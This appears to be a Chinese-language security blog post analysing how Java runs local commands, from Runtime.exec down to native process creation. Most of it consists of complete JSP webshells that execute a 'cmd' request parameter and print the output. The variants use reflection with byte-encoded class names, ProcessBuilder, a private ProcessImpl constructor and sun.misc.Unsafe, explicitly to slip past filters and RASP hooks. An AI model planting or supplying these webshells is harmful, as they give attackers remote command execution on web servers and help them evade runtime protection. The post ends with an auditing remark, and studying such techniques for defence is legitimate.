Java本地命令执行

关于 Java 命令执行，我们熟知的一般是使用 java.lang.Runtime 类的 exec 方法来执行本地系统命令。但实际上 exec() 并不是执行命令的终点，这点你我都心知肚明，最终一定是通过系统调用来实现，而这里我们要探讨其整个调用链过程，当目标过滤不当时，我们可以利用中间链子的方法以及反射来实现命令执行

Runtime 调用链

我们先用一个简单的一句话木马来测试

<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.io.ByteArrayOutputStream" %>  
  
<%  
    if (request.getParameter("cmd") == null) {  
        return;  
    }
    InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
  
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    byte[] b = new byte[1024];  
    int a = -1;  
  
    while ((a = in.read(b)) != -1) {  
        baos.write(b, 0, a);  
    }  
    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");  
%>

在 Runtime 类的 exec() 方法处下断点

由于 Runtime 类中定义了多个形参不同的 exec 方法，这里我们不考虑环境变量和工作目录，继续跟进，这里会有多个方法重载，我们跟进到最终的 public Process exec(String[] cmdarray, String[] envp, File dir)

这里出现了第一个链子 ProcessBuilder() 的 start() 方法，会根据当前 ProcessBuilder 实例中配置的属性（如命令、环境、工作目录、IO 重定向配置等）来创建一个新的操作系统进程

这些工作做好以后会进入 try 块，调用 ProcessImpl.start() 静态方法

继续跟进调用了 ProcessImpl() 私用方法，实例化 ProcessImpl 对象，这里开始准备调用 CreateProcess API，为其接收的数据做处理

后续跟进 native 方法 create()

到这里 Java 层就结束了，直接调用 Windows 系统函数 CreateProcess 创建进程
至此整个调用链为

at java.lang.ProcessImpl.create(ProcessImpl.java:-1)
at java.lang.ProcessImpl.<init>(ProcessImpl.java:386)
at java.lang.ProcessImpl.start(ProcessImpl.java:137)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
at java.lang.Runtime.exec(Runtime.java:620)
at java.lang.Runtime.exec(Runtime.java:450)
at java.lang.Runtime.exec(Runtime.java:347)
at org.apache.jsp.index_jsp._jspService(index.jsp:9)

在经典 Java 8 Unix/Linux 系统下 java.lang.ProcessImpl.start 之后应该是调用 UNIXProcess 构造方法，然后通过 native 方法 forkAndExec() 系统调用 fork -> exec


对于 JDK9 之后则是将 forkAndExec() 方法合并到了 ProcessImpl 中

反射 Runtime

现在我们就刚刚的一句话木马做一个反射版本，并对敏感字符串面量做处理，看起来像这样

<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.io.ByteArrayOutputStream" %>  
<%@ page import="java.lang.reflect.Method" %>  
  
<%  
    if (request.getParameter("str") == null) {  
        return;  
    }  
    
    // 定义字符串 java.lang.Runtime  
    String Rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});  
    
    // 反射获取 Class 对象  
    Class<?> c = Class.forName(Rt);  
    
    // 获取 Runtime.getRuntime() 方法  
    Object grt = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null);  
    
    // 获取 Runtime.exec(String cmd) 方法  
    Method e = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);  
    Object p = e.invoke(grt, request.getParameter("str"));  
  
    // 反射获取 Process.getInputStream() 方法  
    Class<?> processClass = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115}));  
    Method gi = processClass.getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));  
    InputStream in = (InputStream) gi.invoke(p);  
    
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    byte[] b = new byte[1024];  
    int a = -1;  
  
    while ((a = in.read(b)) != -1) {  
        baos.write(b, 0, a);  
    }  
    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");  
%>

ProcessBuilder 命令执行

其实只需要传递一个命令参数即可

<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.io.ByteArrayOutputStream" %>  
  
<%  
    if (request.getParameter("cmd") == null) {  
        return;  
    }    
    InputStream in = new ProcessBuilder(request.getParameter("cmd")).start().getInputStream();  
  
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    byte[] b = new byte[1024];  
    int a = -1;  
  
    while ((a = in.read(b)) != -1) {  
        baos.write(b, 0, a);  
    }    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");  
%>

反射获取

<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.io.ByteArrayOutputStream" %>  
<%@ page import="java.lang.reflect.Constructor" %>  
<%@ page import="java.lang.reflect.Method" %>  
  
<%  
    if (request.getParameter("cmd") == null) {  
        return;  
    }  
    
    String pb = "java.lang.ProcessBuilder";  
    Class<?> clazz = Class.forName(pb);  
    Constructor pbConstructor = clazz.getConstructor(String[].class);  
    Object processBuilder = pbConstructor.newInstance((Object) new String[]{request.getParameter("cmd")});
    
    Method startMethod = clazz.getMethod("start");  
    Object process = startMethod.invoke(processBuilder);  
    
    Class<?> processClass = Class.forName("java.lang.Process");  
    Method getInputStreamMethod = processClass.getMethod("getInputStream");  
    InputStream in = (InputStream) getInputStreamMethod.invoke(process);  
    
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    byte[] b = new byte[1024];  
    int a = -1;  
  
    while ((a = in.read(b)) != -1) {  
        baos.write(b, 0, a);  
    }    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");  
%>

ProcessImpl 命令执行

通过前面的调用链分析，我们依旧可以通过反射 ProcessImpl 来进行命令执行，在 UNIX/Linux 系统下只需要模拟其源码 C 语言风格的数据处理逻辑即可，Windows 系统会更简洁一些，但由于其私有属性，因此仅限于 JDK9 版本以下。简言之，我们现在需要重写 ProcessImpl 的 start() 方法

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
    InputStream start(String[] cmds) throws Exception {
        String pI = "java.lang.ProcessImpl";
        Class<?> clazz = Class.forName(pI);
        
        // private java.lang.ProcessImpl(java.lang.String[],java.lang.String,java.lang.String,long[],boolean) throws java.io.IOException
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        
        FileInputStream  f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;
        
        // 源码这里的功能是把结果写到服务器的某个文件里，同时满足可能需要继承 Tomcat 进程的控制台的功能，但是我们不需要，所以直接把三个流都指向 null 就行了
        long[] stdHandles = new long[] { -1L, -1L, -1L };
        
        // 注意参数类型
        Object process = constructor.newInstance(new Object[] { cmds, null, null, stdHandles, false });
        
        Method m = clazz.getDeclaredMethod("getInputStream");
        m.setAccessible(true);
        return (InputStream) m.invoke(process);
    }
%>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        String[] cmds = new String[] { cmd };
        InputStream in = start(cmds);
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line + "<br>");
        }
    }
%>

Unix/Linux 版本大同小异，对照源码更改即可

create()/forkAndExec() 配合 Unsafe 类实现命令执行

现在考虑如果 RASP 把 UNIXProcess/ProcessImpl 类的构造方法给拦截了，我们可以借助一个叫 sun.misc.Unsafe 的类避免使用其构造方法

sun.misc.Unsafe

sun.misc.Unsafe 是 JDK 9 以下内部提供的一个“后门”类，绕过了 Java 的安全机制，直接操作内存和线程。 Unsafe 的构造方法是私有的，getUnsafe() 方法会检查调用者的类加载器（默认只允许 Bootstrap Classloader 调用），普通代码直接调用会抛出 SecurityException。

所以只能通过反射拿到它：

Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

allocateInstance 方法创建类实例

这是一个 native 方法，直接在堆上为指定类分配内存并返回实例，但完全跳过构造方法的执行

public native Object allocateInstance(Class<?> cls) throws InstantiationException;

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.Unsafe" %>

<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class<?> processClass = Class.forName("java.lang.ProcessImpl");
        Object processObject = unsafe.allocateInstance(processClass);

        long[] stdHandles = new long[] { -1L, -1L, -1L };

        // private static synchronized native long java.lang.ProcessImpl.create(java.lang.String,java.lang.String,java.lang.String,long[],boolean) throws java.io.IOException
        Method createMethod = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
        createMethod.setAccessible(true);
        createMethod.invoke(null, cmd, null, null, stdHandles, false);

        if (stdHandles[1] != -1L) {
            FileDescriptor fd = (FileDescriptor) unsafe.allocateInstance(FileDescriptor.class);

            Field handleField = FileDescriptor.class.getDeclaredField("handle");
            handleField.setAccessible(true);
            handleField.setLong(fd, stdHandles[1]);

            FileInputStream fis = new FileInputStream(fd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(fis));
            String line;
            while ((line = reader.readLine()) != null) {
                out.println(line + "<br>");
            }
            reader.close();
        }
    }
%>

这里我们成功执行了命令，但是如何读取输出流呢？放心，在源码中已经给出了逻辑

stdHandles[1] 对应标准输出，并通过反射构建 FileDescriptor 的方法来读取输出，这里为了避免使用构造方法，我们依旧可以使用 unsafe.allocateInstance() 来创建实例

---

至此对于 Java 本地命令执行的剖析告一段落，在以后的代码审计中也不能只局限于关注 exec 字段了